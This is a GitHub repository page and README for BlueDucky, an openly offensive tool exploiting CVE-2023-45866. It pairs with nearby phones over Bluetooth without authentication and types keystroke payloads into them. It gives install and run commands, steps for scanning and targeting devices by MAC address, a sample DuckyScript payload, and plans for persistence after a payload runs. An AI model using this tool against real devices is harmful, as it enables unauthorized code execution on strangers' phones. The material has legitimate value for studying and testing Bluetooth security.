🚨 CVE-2023-45866 - BlueDucky Implementation (Using DuckyScript) 🔓 Unauthenticated Peering Leading to Code Execution (Using HID Keyboard)
Go to file
Mr Fidal d0b1136934
Merge 08c069ecc6 into 2d37faf6cf
2024-05-29 20:26:02 +05:30
images Add files via upload 2024-05-15 18:36:48 -05:00
payloads Update wp_payload.txt 2024-05-16 20:41:30 +00:00
utils Updated UI / Ver 2.1 2024-05-15 18:15:55 -05:00
.gitignore Add .gitignore 2024-03-27 12:27:23 -05:00
BlueDucky.py Update BlueDucky.py 2024-05-15 19:10:29 -05:00
README.md Update README.md 2024-05-29 20:25:47 +05:30
__init__.py Create __init__.py 2024-03-30 02:34:43 +13:00
requirements.txt Merge branch 'main' into requirements 2024-05-27 04:30:43 +00:00

README.md

BlueDucky Version 2.1 (for Android) 🦆

exus. Make sure you come join us on VC ! https://discord.gg/HackNexus

NOTES: I will not be able to run this on a laptop or other device outside of a raspberry pi for testing. Due to this, any issues you have will need to be resolved amonsgt each other as I do not have the spare funds to buy an adapter.

  1. saad0x1's GitHub
  2. spicydll's GitHub
  3. lamentomori's GitHub

🚨 CVE-2023-45866 - BlueDucky Implementation (Using DuckyScript)

🔓 Unauthenticated Peering Leading to Code Execution (Using HID Keyboard)

This is an implementation of the CVE discovered by marcnewlin

Introduction 📢

BlueDucky is an advanced tool designed to exploit vulnerabilities in Bluetooth devices. By leveraging this script, users can:

  1. 📡 Load saved Bluetooth devices that are no longer visible but still have Bluetooth enabled.
  2. 📂 Automatically save any scanned devices.
  3. 💌 Send messages in DuckyScript format to interact with devices.

This script has been successfully tested on a Raspberry Pi 4 using the default Bluetooth module. It is effective against various phones, with the exception of New Zealand brand, Vodafone.

Installation and Usage 🛠️

Setup Instructions for Debian-based Systems

# Update apt
sudo apt-get update
sudo apt-get -y upgrade

# Install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
                    git gcc python3-pip python3-setuptools \
                    python3-pydbus

# Install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# Build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

Setup Instructions for Arch-based Systems

# Update pacman & packages
sudo pacman -Syyu

# Install dependencies
# Note: libbluetooth-dev included in bluez package for Arch-based systems
sudo pacman -S bluez-tools bluez-utils bluez-deprecated-tools \
               python-setuptools python-pydbus python-dbus \
               git gcc python-pip \

# Install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# Build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

Running BlueDucky

git clone https://github.com/pentestfunctions/BlueDucky.git
cd BlueDucky
sudo hciconfig hci0 up
python3 BlueDucky.py

Alternatively,

pip3 install -r requirements.txt

Operational Steps 🕹️

  1. Upon execution, it prompts for the target MAC address.
  2. Pressing nothing triggers an automatic scan for devices.
  3. Previously found devices are stored in known_devices.txt.
  4. If known_devices.txt exists, it checks this file before scanning.
  5. Executes using payload.txt file.
  6. Successful execution results in automatic connection and script running.

DuckyScript 💻

🚧 Work in Progress:

  • Suggest ideas for improvement

Version 2.1 🐛

  • Updated UI
  • Improved User Experience
  • Bluetooth Debugger; Checks your Bluetooth adapters and installed dependencies before granting access to the application to prevent unsupported devices.
  • Please Note: Numerous changes have been made; please reference the commit history for specific changes.

What's Planned for the Next Release?

  • Integrated DuckyScript Console for attacks that aim to maintain persistence after a payload has been executed.
  • Suggest what should be added next! Join HackNexus Discord Server

📝 Example payload.txt:

REM Title of the payload
STRING ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+\|[{]};:'",<.>/?
GUI D
REM Opens a private browser to hackertyper.net
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING hackertyper.net
DELAY 300
ENTER
DELAY 300

Enjoy experimenting with BlueDucky! 🌟